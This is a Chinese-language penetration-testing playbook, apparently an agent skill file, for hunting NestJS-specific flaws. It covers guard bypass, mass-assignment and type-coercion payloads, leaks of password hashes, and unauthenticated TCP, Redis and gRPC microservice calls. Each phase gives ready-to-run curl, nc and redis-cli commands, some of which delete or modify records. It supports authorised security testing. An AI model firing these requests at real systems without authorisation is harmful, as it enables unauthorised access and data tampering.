NestJS Security Hunting
针对 NestJS 框架特有漏洞进行安全排查,重点关注装饰器栈缺口导致的守卫绕过、全局/控制器/方法守卫之间 Reflector 元数据不一致、ValidationPipe 的 whitelist 与 transform 相关利用,以及微服务传输鉴权漂移。NestJS 的架构模式——装饰器、依赖注入、模块系统、多传输支持——在 HTTP、WebSocket 与 RPC 传输上形成了独特的攻击面。
适用场景
- 目标使用 NestJS(表现为 x-powered-by: NestJS 或错误信息中的 TypeScript 装饰器特征)。
- 存在 GraphQL 端点与 REST API 并存。
- 配置了微服务传输(TCP、Redis、NATS、MQTT、gRPC)。
- Swagger/OpenAPI 文档暴露在 /api 或 /api-json。
- CRUD 端点遵循可预测的 NestJS 命名约定。
快速探测
NestJS 指纹识别:
curl --max-time 30 --connect-timeout 10 -skI "https://target.com/api" | grep -iE "x-powered-by|server"
# 查找:x-powered-by: NestJS
Swagger 文档:
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api" -w "%{http_code}\n" -o /dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api-json" | jq '.paths | keys[]' 2>/dev/null
操作流程
阶段 1 —— 装饰器栈缺口导致的守卫绕过
# NestJS 守卫解析顺序:全局 → 控制器 → 方法
# 某个方法上的 @Public() 或 @SkipAuth() 不影响其他方法
# 但路由参数混淆可能绕过守卫
# 在受保护端点上测试所有 HTTP 方法
for method in GET POST PUT PATCH DELETE OPTIONS; do
curl --max-time 30 --connect-timeout 10 -sk -X "$method" "https://target.com/api/admin/users" \
-w "$method — %{http_code}\n" -o /dev/null
done
# 控制器级守卫配合方法级覆盖
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/admin/health" # 可能是 @Public
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/admin/config" # 可能是 @Public
阶段 2 —— Reflector 元数据不一致
# 全局守卫检查 @Roles() 元数据
# 但控制器级守卫可能使用不同的元数据键
# 这会造成全局守卫无元数据可查 → 直接放行的缺口
# 测试不同角色要求的端点
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users" -H "Authorization: Bearer TOKEN" \
-w "GET users — %{http_code}\n" -o /dev/null
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "https://target.com/api/users/1" -H "Authorization: Bearer TOKEN" \
-w "DELETE user — %{http_code}\n" -o /dev/null
# 自定义参数装饰器可能绕过守卫检查
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users?userId=VICTIM_ID" \
-H "Authorization: Bearer TOKEN" \
-w "param decorator — %{http_code}\n" -o /dev/null
阶段 3 —— ValidationPipe 利用
# ValidationPipe 配置 whitelist: true 会剥离未知字段
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/users" \
-H "Content-Type: application/json" \
-d '{"username":"test","isAdmin":true}' # 若 DTO 中无 isAdmin 则被剥离
# 但 transform: true 启用隐式类型转换
# 原始类型自动转换 → 字符串 "true" → 布尔 true
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/users" \
-H "Content-Type: application/json" \
-d '{"username":"test","isActive":"true"}' # 字符串被强制转为布尔值
# ValidationPipe 配置 skipMissingProperties: true
# 只提交想改的字段做 PATCH —— 跳过对缺失字段的校验
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/users/me" \
-H "Content-Type: application/json" \
-d '{"role":"admin"}' # 仅更新 role,不做其他校验
阶段 4 —— 序列化泄露
# 缺少 ClassSerializerInterceptor 会返回完整实体
# 有拦截器时只返回 @Expose() 字段
# 无拦截器时返回所有实体字段,包括密码哈希
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users/1" | jq 'keys' 2>/dev/null
# 查找:password、passwordHash、secretKey、internalNotes 等
# 实体上标记 @Exclude() 但拦截器未全局应用
# → 未使用该拦截器的控制器会泄露被排除字段
阶段 5 —— 微服务传输鉴权漂移
# NestJS 微服务支持多种传输
# HTTP 上强制鉴权,TCP/Redis/NATS 上可能缺失
# TCP 传输(默认端口 3000)
echo '{"pattern":"getUser","data":{"id":1}}' | nc target.com 3000
# Redis 传输 —— 检查 Redis 是否暴露
redis-cli -h target.com PUBLISH "get_user" '{"id":1}'
# gRPC 传输 —— 检查反射
grpcurl -plaintext target.com:5000 list
# @MessagePattern 未配合 @UseGuards()
# → 微服务处理器完全没有鉴权
阶段 6 —— 模块边界泄露
# @Global() 模块向所有其他模块导出提供者
# 若 AuthModule 是 @Global(),令牌校验在各处可用
# 但某些模块可能手动导入 AuthModule 并使用更弱的守卫
# CRUD 生成器自动端点
# nestjsx/crud 自动生成标准 CRUD,且无显式 @UseGuards()
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users" # 获取全部
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users/1" # 获取单条
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/users" # 创建
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/users/1" # 更新
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "https://target.com/api/users/1" # 删除
注意事项
- NestJS Swagger 模块可能无视鉴权暴露所有端点。务必检查 /api-json 中的隐藏端点。
- @Public() 装饰器并非 NestJS 内置。不同项目使用 @SkipAuth()、@NoAuth() 或 @AllowAnonymous()。
- 微服务传输通常运行在内网端口。如条件允许,应从目标网络内部测试。
- @Res({ passthrough: true }) 会绕过标准响应流程,可注入响应头和状态码。
验证要点
- 控制器级 @UseGuards(AuthGuard) 的端点,在方法级无鉴权情况下接受请求。
- 序列化拦截器缺失,泄露内部字段(密码哈希、内部备注、令牌)。
- HTTP 等价接口需要 JWT,而微服务处理器无任何鉴权即处理请求。
- CRUD 自动端点暴露创建/更新/删除操作,且无显式授权。
相关技能
- hunt-graphql —— 针对使用 @nestjs/graphql 装饰器的 NestJS GraphQL 端点。
- hunt-api-misconfig —— 更广泛的 API 错误配置,包括守卫与管道缺口。
- hunt-idor —— 通过 NestJS 参数装饰器实现的对象级授权问题。
- hunt-write-gap —— 接受写入但无读取授权的 NestJS PATCH 端点。